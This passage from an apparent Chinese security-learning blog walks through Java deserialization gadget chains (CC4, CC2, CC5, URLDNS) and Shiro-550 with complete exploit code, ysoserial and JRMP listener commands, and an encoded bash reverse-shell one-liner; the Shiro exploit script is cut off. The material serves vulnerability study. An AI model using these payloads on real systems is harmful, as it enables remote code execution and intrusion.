javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC4Test { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz"); byte[] code = Files.readAllBytes(Paths.get("D:\\\\Java-IDEA\\\\java_workspace\\\\CC\\\\target\\\\classes\\\\org\\\\example\\\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); //transformingComparator.compare(1,2); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); setFieldValue(transformingComparator,"transformer",chainedTransformer); //serialize(priorityQueue); unserialize("sercc4.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc4.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }}","link":"/2023/06/11/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collection%E7%AF%8704-CC4%E9%93%BE/"},{"title":"Java反序列化Commons-Collection篇05-CC2链","text":"<1> 环境分析jdk:jdk8u65CC:Commons-Collections 4.0pom.xml 添加 12345<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <2> 链子分析CC2 实际上是 CC4的一个变型。 在CC3中我们提到了 TemplatesImpl链 加载恶意类命令执行,可以通过这个TemplatesImpl.newTransformer() 来作入口加载恶意类 CC2里的做法 并不是像CC4 通过 TransformingComparator.compare() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() 去调用 TemplatesImpl.newTransformer() 而是通过 InvokerTransformer.transform() 反射调用 TemplatesImpl.newTransformer() 因此我们可以沿用 之前的 CC4和 TemplatesImpl链代码 修改一下即可 CC2的难点就只在于 用 InvokerTransformer 的连接后半部分应该改为: 12345678910InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); //transformingComparator.compare(1,2); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); //只能在第一个put这里 priorityQueue.add(2); setFieldValue(transformingComparator,"transformer",invokerTransformer); 调试跟进去看一下就清楚了 最终调用 InvokerTransformer.transform(templates) EXP编写12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CC2Test { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz"); byte[] code = Files.readAllBytes(Paths.get("D:\\\\Java-IDEA\\\\java_workspace\\\\CC\\\\target\\\\classes\\\\org\\\\example\\\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); //transformingComparator.compare(1,2); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2); setFieldValue(transformingComparator,"transformer",invokerTransformer); //serialize(priorityQueue); unserialize("sercc2.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc2.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }} CC2 链区别与其他链子一点的区别在于没有用 Transformer 数组。白日梦组长说:不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现 后面我们学到的时候再体会体会","link":"/2023/06/13/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collection%E7%AF%8705-CC2%E9%93%BE/"},{"title":"Java反序列化Commons-Collection篇06-CC5链","text":"<1> 环境分析jdk:jdk8u65CC:Commons-Collections 3.2.1pom.xml 添加 1234567<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency></dependencies> <2> CC5链子分析123456789101112131415161718192021/* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collectionsThis only works in JDK 8u76 and WITHOUT a security manager */ CC5的链 和CC1差不多,只不过 调用 LazyMap.get()用的是 TiedMapEntry.toString()触发的 我们来看一下 TiedMapEntry.toString() 这里会调用 getValue() 跟进 看一下 getValue函数内容 这里可以 调用 LazyMap.get() 因此我们给TiedMapEntry的map赋值LazyMap 即可 1234567891011121314151617181920212223242526272829303132333435363738394041package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.util.HashMap;import java.util.Map;public class CC5Test { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa"); tiedMapEntry.toString(); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc5.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }} 成功弹出了计算器 我们再找一找触发点,来看看哪里的readObject调用了 toString。 由于调用 toString()的实在太多了,这里我们之间看作者找到的 BadAttributeValueExpException 这里注意,由于构造函数在构造时会直接调用 toString() 因此我们应该先传入一个随便的类型,然后通过反射修改 val属性为 我们构造的TiedMapEntry,这样的话,反序列化时才会调用TiedMapEntry 生成序列化数据时不会调用链子(直接写的话反序列化也会可正常调用,不过不太好 我们不需要在生成时本地执行一次恶意命令) <3> EXP编写123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC5Test { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa"); //tiedMapEntry.toString(); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); Class c = badAttributeValueExpException.getClass(); Field val = c.getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException,tiedMapEntry); //serialize(badAttributeValueExpException); unserialize("sercc5.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc5.bin")); oos.writeObject(obj); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); }}","link":"/2023/06/13/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collection%E7%AF%8706-CC5%E9%93%BE/"},{"title":"Java反序列化初探+URLDNS链","text":"摘要:什么是java反序列化&URLDNS链分析 <1> 什么是序列化/反序列化序列化,其实就是将数据转化成一种可逆的数据结构,自然,它的逆过程就叫做反序列化。 目的: 方便数据的传输与存储 通常我们在编程的时候,我们需要将本地已经实例化的某个对象,通过网络传递到其他机器当中。为了满足这种需求,就有了所谓的序列化和反序列化 不同于php序列化对象 O:4:"test":2:{s:3:"str";s:5:"luoke";s:3:"int";i:10;} 是一串数据,Java序列化之后成了二进制文件 是 字节流 (1) 为什么会产生安全问题?java反序列化漏洞的关键出现在 readObject 上,反序列化必定执行readObject方法,而在执行java.io.ObjectInputStream.readObject()之前,会先尝试执行 反序列化的类的 readObject方法,如果这个类重构了readObject方法,错误的调用了一些危险方法,则会造成漏洞。 只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力. (2) 可能的形式 入口类的readObject直接调用危险方法 入口类参数中包含可控类,该类有危险方法,readObject时调用 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用 比如类型定义为 Object, 调用equals/hashcode/toString 相同类型 同名函数 构造函数/静态代码块等类加载时隐式执行 (3) Java反序列化漏洞原因Java中间件通常通过网络接收客户端发送的序列化数据,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法.而在Java中如果重写了某个类的方法,就会优先调用经过修改后的方法.如果某个对象重写了readObject()方法,且在方法中能够执行任意代码,那服务端在进行反序列化时,也会执行相应代码 <2> java序列化与反序列化(1) 前置基础知识 需要跳出PHP反序列化的思想: 在php中序列化是将对象等转换成了字符串,而在Java中则是转换成了字节流 序列化/反序列化是一种思想,并不局限于其实现的形式 如: JAVA内置的writeObject()/readObject() JAVA内置的XMLDecoder()/XMLEncoder XStream SnakeYaml FastJson Jackson 出现过漏洞的组件: Apache Shiro Apache Axis Weblogic Jboss Fastjson Java中的命令执行 12345678910public static void main() throws Exception{ Runtime.getRuntime().exec("calc"); /* Java中执行系统命令使用java.lang.Runtime类的exec方法 以上函数可以弹出计算器 getRuntime()是Runtime类中的静态方法,使用此方法获取当前java程序的Runtime(即运行时:计算机程序运行需要的代码库,框架,平台等) exec底层为ProcessBuilder:此类用于创建操作系统进程 每个ProcessBuilder实例管理进程属性的集合。start()方法使用这些属性创建一个新的Process实例。start()方法可以从同一实例重复调用,以创建具有相同或相关属性的新子进程。 */} 注意:这里的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持 1bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzU1NTUgMD4mMQ==}|{base64,-d}{bash,-i} (2) 编写一个可以序列化的类在Java当中,如果一个类需要被序列化和反序列化 ,需要实现java.io.Serializable接口也就是让他 implements Serializeable 同时,被transient修饰的属性也不参与序列化过程 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152package test;import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;public class Person implements Serializable { private static final long serialVersionUID = 1L; // 添加一个 transient 关键字,则name属性不会被序列化和反序列化 // 如果将属性设置为static,同样不会被序列化和反序列化 // private transient String name; public String name; private int age; public Person(){ } public Person(String name, int age) { this.name = name; this.age = age; } /* * @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口 * 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记 * @Override是伪代码,表示重写(当然不写也可以),不过写上有如下好处: * 1. 可以当注释用,方便阅读 * 2. 编译器可以给你验证@Override下面的方法名是否是你父类中所有的,如果没有则报错 * 比如你如果没写@Override而你下面的方法名又写错了,这时你的编译器是可以通过的(它以为这个方法是你的子类中自己增加的方法) * 使用该标记是为了增强程序在编译时候的检查,如果该方法并不是一个覆盖父类的方法,在编译时编译器就会报告错误 */ @Override public String toString() { return "Person{" + "name='" + name + '\\'' + ",age=" + age + '}'; } private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException, IOException { /* * java.io.ObjectInputStream.defaultReadObject() * 方法用于从这个ObjectInputStream读取当前类的非静态和非瞬态字段.它间接地涉及到该类的readObject()方法的帮助. * 如果它被调用,则会抛出NotActiveException */ objectInputStream.defaultReadObject(); /* * 每个Java应用程序都有一个Runtime类的Runtime ,允许应用程序与运行应用程序的环境进行接口.当前运行时可以从getRuntime方法获得. */ /* * exec:在具有指定环境的单独进程中执行指定的字符串命令. * 这是一种方便的方法. 调用表单exec(command, envp)的行为方式与调用exec(command, envp, null)完全相同 . */ Runtime.getRuntime().exec("calc"); }} IDEA里支持 Alt+insert 导入相应的包 Ctrl+click 跟进java.io.Serializable接口 12public interface Serializable {} 发现是一个空接口,说明其作用只是为了在序列化和反序列化中做了一个类型判断.为什么呢?因为需要遵循非必要原则,不需要反序列化的类就可以不用序列化了 (3) 如何序列化类Java原生实现了一套序列化的机制,它让我们不需要额外编写代码,只需要实现java.io.Serializable接口,并调用ObjectOutputStream类的writeObject方法即可 12345678910111213141516171819202122232425262728293031package test;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;public class serialize { public static void main(String[] args) throws IOException { //生成Person对象的实例 Person person = new Person("1vxyz", 18); /* * ObjectOutputStream将Java对象的原始数据类型和图形写入OutputStream.可以使用ObjectInputStream读取(重构) * 对象.可以通过使用流的文件来实现对象的持久存储.如果流是网络套接字流,则可以在另一个主机上或另一个进程中重构对象. */ /* * 文件输出流是用于将数据写入到输出流File或一个FileDescriptor * .文件是否可用或可能被创建取决于底层平台.特别是某些平台允许一次只能打开一个文件来写入一个FileOutputStream * (或其他文件写入对象).在这种情况下,如果所涉及的文件已经打开,则此类中的构造函数将失败. * FileOutputStream用于写入诸如图像数据的原始字节流. 对于写入字符流,请考虑使用FileWriter . */ // 序列化的类 ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("ser.ser")); /* * 方法writeObject用于将一个对象写入流中. 任何对象,包括字符串和数组,都是用writeObject编写的. 多个对象或原语可以写入流. * 必须从对应的ObjectInputstream读取对象,其类型和写入次序相同. */ // 需要序列化的对象是谁? obj.writeObject(person); obj.close(); }} 跟进writeObject函数,我们通过阅读他的注释可知: 在反序列化的过程当中,是针对对象本身,而非针对类的,因为静态属性是不参与序列化和反序列化的过程的.另外,如果属性本身声明了transient关键字,也会被忽略.但是如果某对象继承了A类,那么A类当中的对象的对象属性也是会被序列化和反序列化的(前提是A类也实现了java.io.Serializable接口) (4) 如何反序列化类序列化使用ObjectOutPutStream类,反序列化使用的则是ObjectInputStream类的readObject方法. 由于我们在之前在Person类中重写了readObject方法,所以会调用java.lang.Runtime类的exec方法执行calc命令 1234private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException, IOException { objectInputStream.defaultReadObject(); Runtime.getRuntime().exec("calc"); } 12345678910111213141516171819202122232425262728package test;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;public class unserialize { public static void main(String[] args) throws IOException, ClassNotFoundException { /* * ObjectInputStream反序列化先前使用ObjectOutputStream编写的原始数据和对象. * ObjectOutputStream和ObjectInputStream可以分别为与FileOutputStream和FileInputStream一起使用的对象图提供持久性存储的应用程序. * ObjectInputStream用于恢复先前序列化的对象. 其他用途包括使用套接字流在主机之间传递对象,或者在远程通信系统中进行封送和解组参数和参数. * ObjectInputStream确保从流中创建的图中的所有对象的类型与Java虚拟机中存在的类匹配. 根据需要使用标准机制加载类. * 只能从流中读取支持java.io.Serializable或java.io.Externalizable接口的对象. */ // 反序列化的类 ObjectInputStream ois = new ObjectInputStream((new FileInputStream("ser.ser"))); /* * 方法readObject用于从流中读取对象. 应使用Java的安全铸造来获得所需的类型. 在Java中,字符串和数组是对象,在序列化过程中被视为对象. * 读取时,需要将其转换为预期类型. */ // 读出来并反序列化 Person person = (Person) ois.readObject(); System.out.println(person); ois.close(); }} 执行,弹出来了计算器,,, 同时,我们unserialize.java里, Person person = (Person) ois.readObject(); 成功讲unserialize.java里的 实例化的person对象接收了过来。 (5) serialVersionUID讲解序列化和反序列化可以理解为压缩和解压缩,但是压缩之所以能被解压缩的前提是因为他俩的协议是一样的.如果压缩是以四个字节为一个单位,而解压缩以八个字节为一个单位,就会乱套 同样在Java中与协议相对的概念为:serialVersionUID 当serialVersionUID不一致时,反序列化会直接抛出异常 比如设置为2L时序列化,修改为1L时反序列化,则会抛出异常 <3> java反序列化利用(ysoserial)Java反序列化和php相同的是,php反序列化通过POP链最终要找到一个落脚点(RCE),这个落脚点一般都是开发自己写的。java通过gadget也要找一个落脚点,而这个落脚点在java标准库和一些常用库就有 ysoserial上就集成了各种常用gadget,其中最简单的就是URLDNS 工具下载地址:https://github.com/frohoff/ysoserial用法:java -jar ysoserial.jar 就可以看到有哪些gadget,它们适合的扩展库或者JDK版本 假设上面演示生成的 ser.ser这个文件路径我们可控,我们可以构造出一个恶意反序列化文件,来进行DNS查询 去DNSlog申请一个域名:http://dnslog.cn/java -jar ysoserial.jar URLDNS "http://1bvloh.dnslog.cn" > ser.ser 然后替换掉ser.ser,执行 12345678910111213import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;public class unserialize { public static void main(String[] args) throws IOException, ClassNotFoundException { // 反序列化的类 ObjectInputStream ois = new ObjectInputStream((new FileInputStream("ser.ser"))); // 读出来并反序列化 ois.readObject(); ois.close(); }} 绝大部分反序列化漏洞都是这样生成payload并利用的,只不过ser.ser可能需要经过复杂编码,或者藏在RMI服务中使用。 比如:更常用的CommonsCollections4。java -jar ysoserial.jar CommonsCollections4 "ping dnslog.cn"起一个恶意RMI服务,一旦有人连接它,就发送恶意反序列化字节的payloadjava -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections4 " ping dnslog.cn "接下我们通过对URLDNS的分析来了解具体是如何造成危害的 <4> URLDNS链分析 URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法 链子利用思路: 首先找到Sink:发起DNS请求的URL类hashCode方法 看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法 EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它 在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求 Hashmap类对于HashMap这个类来说,他重载了readObject函数,我们知道,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法。 这里先看看在重载的逻辑中,看看有没有可以利用的地方。 跟进 查看一下readObject方法: 我们可以看到它重新计算了key的Hash 再次跟进hash函数,我们可以看到,它调用了key的hashcode函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode函数且传参可控,并且可被我们利用的类 而可以被我们利用的类就是下面的URLDNS URLDNS类查看一下URL类的hashCode()函数。发现当hashCode不是-1,则会调用URLStreamHandler抽象类的hashCode()函数。这显然是为了只算一次hash,而handler是什么呢? 找到URLStreamHandler这个抽象类,查看它的hashcode实现,调用了getHostAddress函数,传参可控 跟进 查看getHostAddress函数,可以发现它进行了DNS查询,将域名转换为实际的IP地址。参数u是this 也就是URL对象 到这了,我们也就不用继续往下跟进了。 URL类的hashCode()方法可以进行DNS查询,而Hashmap类 重写的readObject方法可以调用 key.hashCode()。 我们可以通过Hashmap的put方法控制key为URL类 构造hashmap对象序列化,这样反序列化的时候就可以实现DNS查询。 1234567891011 public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }putVal方法是记录键值对的方法,过程是putVal()——newNode()——Node() Node(int hash, K key, V value, Node<K,V> next) { this.hash = hash; this.key = key; this.value = value; this.next = next; } 链子如下:HashMap.readObject()->HashMap.hash()->URL.hashCode()->URLStreamHandler.hashCode()->URLStreamHandler.getHostAddress() 漏洞利用代码: 12345678910111213141516171819202122232425262728293031323334353637package urldns;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class Dnstest { public static void main(String[] args) throws Exception { HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>(); URL url = new URL("http://w4qyn9.dnslog.cn"); Class c =URL.class; Field fieldHashcode = c.getDeclaredField("hashCode"); fieldHashcode.setAccessible(true); // 发现在生成过程中,dnslog就收到了请求,并且在反序列过程后dnslog不在收到新的请求,这显然不符合我们的期望 // 原因是在put的过程中hashMap类就调用了hash方法,并且在hash方法中判断hashcode不为初始化的值(-1)时会直接 // 返回,由于在序列化的时候已经进行了hashCode计算,那么在反序列化时hashCode值就不是-1了。就不会走到他真正的handler.hashCode方法里 // 所以在hashmap.put()前 需要修改URL类hashCode值不为-1 fieldHashcode.set(url,1); hashmap.put(url, 22); // 反序列化之后还是需要让他发送请求,所以需要改回来 // 这是为了防止我们把put的时候发送的DNS请求误以为是反序列化时的readObject去发的DNS请求 fieldHashcode.set(url,-1); Serializable(hashmap); //Unserializable(hashmap); } public static void Serializable(Object obj) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser")); objectOutputStream.writeObject(obj); objectOutputStream.close(); }} 生成ser.ser文件之后 反序列化调用 123456789101112131415package urldns;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;public class test { public static void main(String[] args) throws ClassNotFoundException, IOException { // 反序列化的类 ObjectInputStream ois = new ObjectInputStream((new FileInputStream("ser.ser"))); // 读出来并反序列化 ois.readObject(); ois.close(); }} 在 dnslog.cn 处成功收到响应 为什么 new出来了URL类实例url,还需要用反射机制呢?因为反射更灵活 URL类里 hashCode是private属性,无法直接设置,但是可以通过反射来设置。 通过反射的方式,先将url对象的hashCode设置为1,这样在hashmap.put(url,22)的时候可以跳过DNS查询,put URL和22 url实例赋给了hashmap的key,再通过反射将url对象的hashCode设置为-1,然后讲hashmap对象序列化写入二进制文件ser.ser,最终反序列化的时候进行了DNS查询 注:hashmap的key和 url对象指向的是同一对象,因此我们后面再通过反射将url对象的hashCode设置为-1时,hashmap里key(URL对象)的hashCode也会变成-1. 参考:https://mp.weixin.qq.com/s/TCgHuK2qLIVRxnc6_mqx_Qhttps://mp.weixin.qq.com/s/t81n92VPzqy6liEYOAgzNw","link":"/2023/03/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%9D%E6%8E%A2-URLDNS%E9%93%BE/"},{"title":"Java反序列化Shiro篇01-Shiro550反序列化漏洞分析","text":"<1> Shiro介绍Apache Shiro 是一个开源安全框架,提供身份验证、授权、密码学和会话管理 Shiro反序列化原理:Apache Shiro框架提供了 RememberMe 功能,用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。因此攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞 在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,这就为伪造 cookie 提供了机会。只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞 <2> 环境配置shiro源码下载:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4war包地址:https://github.com/jas502n/SHIRO-550 jdk8u65 Tomcat 9 Shiro 1.2.4 配置tomcat: tomcat的端口配置成 8081 这样后面用burp抓包时就不会冲突 启动tomcat 登录的 username 和 password 是 root 与 secret 我们登录时选择 Remember me 抓包 勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段 <3> 漏洞分析我们在拿到这一 Cookie 的时候,很明显能够看到这是经过某种加密的。因为我们平常的 Cookie 都是比较短的,而 shiro RememberMe 字段的 Cookie 太长了 我们跟进去相关位置去看看Cookie的加密过程在IDEA里 全局搜索 Cookie shiro加密过程分析入口是在 AbstractRememberMeManager.onSuccessfulLogin 方法 这里我们正向分析一下,debug打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看 这里会经一个 isRememberMe(token) 的判断 即判断cookie里是否存在rememberMe字段,True的话 调用rememberIdentity()方法 F7 步入 rememberIdentity() 方法,这里继续调用getIdentityToRemember(),作用就是获取用户名赋值给 principals 再回到 rememberIdentity() 方法,继续跟进this.rememberIdentity(subject, principals) 进入 convertPrincipalsToBytes() 方法,我们来看一下这个方法 它先对用户名进行序列化处理,然后调用this.getCipherService()方法是否有返回值,存在的话,就调用 encrypt() 方法进行加密 跟进 看一下序列化的代码: 再跟进看一下 encrypt() 方法 调用了 this.getCipherService()方法 返回了一种 AES 的加密方式CBC 所以encrypt应该用的是AES加密算法 AES 是一种对称加密算法,有密钥 再次跟进 getEncryptionCipherKey() 看一下AES加密的密钥是怎么生成的 一步步往上找 再找一下哪里定义的 encryptionCipherKey 再往上找哪里调用了 setEncryptionCipherKey()方法,找到了setCipherkey()方法 AES加解密用的密钥是一样的 最终从构造函数这里找到了设置密钥的地方 这里传入的静态变量DEFAULT_CIPHER_KEY_BYTES 是在类定义里面写好的常量 base64解密即可得到密钥 后续加密,会对序列化字节流和密钥常量传入 cipherService.encrypt 进行AES加密 返回加密的序列化字节流 到rememberIdentity()方法下一步调用rememberSerializedIdentity()方法: 进行base64加密之后,存储到Cookie里 就得到了我们的rememberMe字段 这就是我们前面勾选rememberme的话,rememberMe字段的由来 shiro解密过程由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt()进行加密,该类中也有对应的decrypt。那么在这里就可以用来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点 追溯到 AbstractRememberMeManager.convertBytesToPrincipals() 再追溯一下哪里调用了 convertBytesToPrincipals()方法 追溯到了 AbstractRememberMeManager.getRememberedPrincipals 从DefaultSecurityManager.getRememberedIdentity()开始分析 跟进 getRememberedPrincipals()方法 调用了 getRememberedSerializedIdentity() 方法 跟进重点看此方法 主要功能为:获取cookie中的rememberMe字段,判断值是否和DELETED_COOKIE_VALUE一致 即 deleteme不一致的话,则会再次判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回赋值给bytes 然后回到getRememberedPrincipals()方法,bytes不为null,因此调用 convertBytesToPrincipals()方法 调用decrypt进行解密,然后返回 deserialize(bytes); decrypt函数即为之前AES加密逆过程、AES解密函数 不再继续详细跟进查看 跟进 deserialize()方法 这里会调用 getSerializer().deserialize() 对我们 base64解密-AES解密后的rememberMe的值进行反序列化 跟进此函数,看一下deserialize()函数的实现,调用的是DefaultSerializer.deserialize() 调用了readObject()函数,并且前面我们得知 加解密密钥一样,所以如果我们知道加密密钥,就可以找链子、构造rememberMe为恶意序列化对象,在此处进行反序列化利用 <4> 漏洞利用加密脚本: 123456789101112131415161718import base64import subprocessfrom Crypto.Cipher import AESdef rememberme(command): popen = subprocess.Popen([r'java.exe路径', '-jar',r'ysoserial路径', 'URLDNS',command],stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = 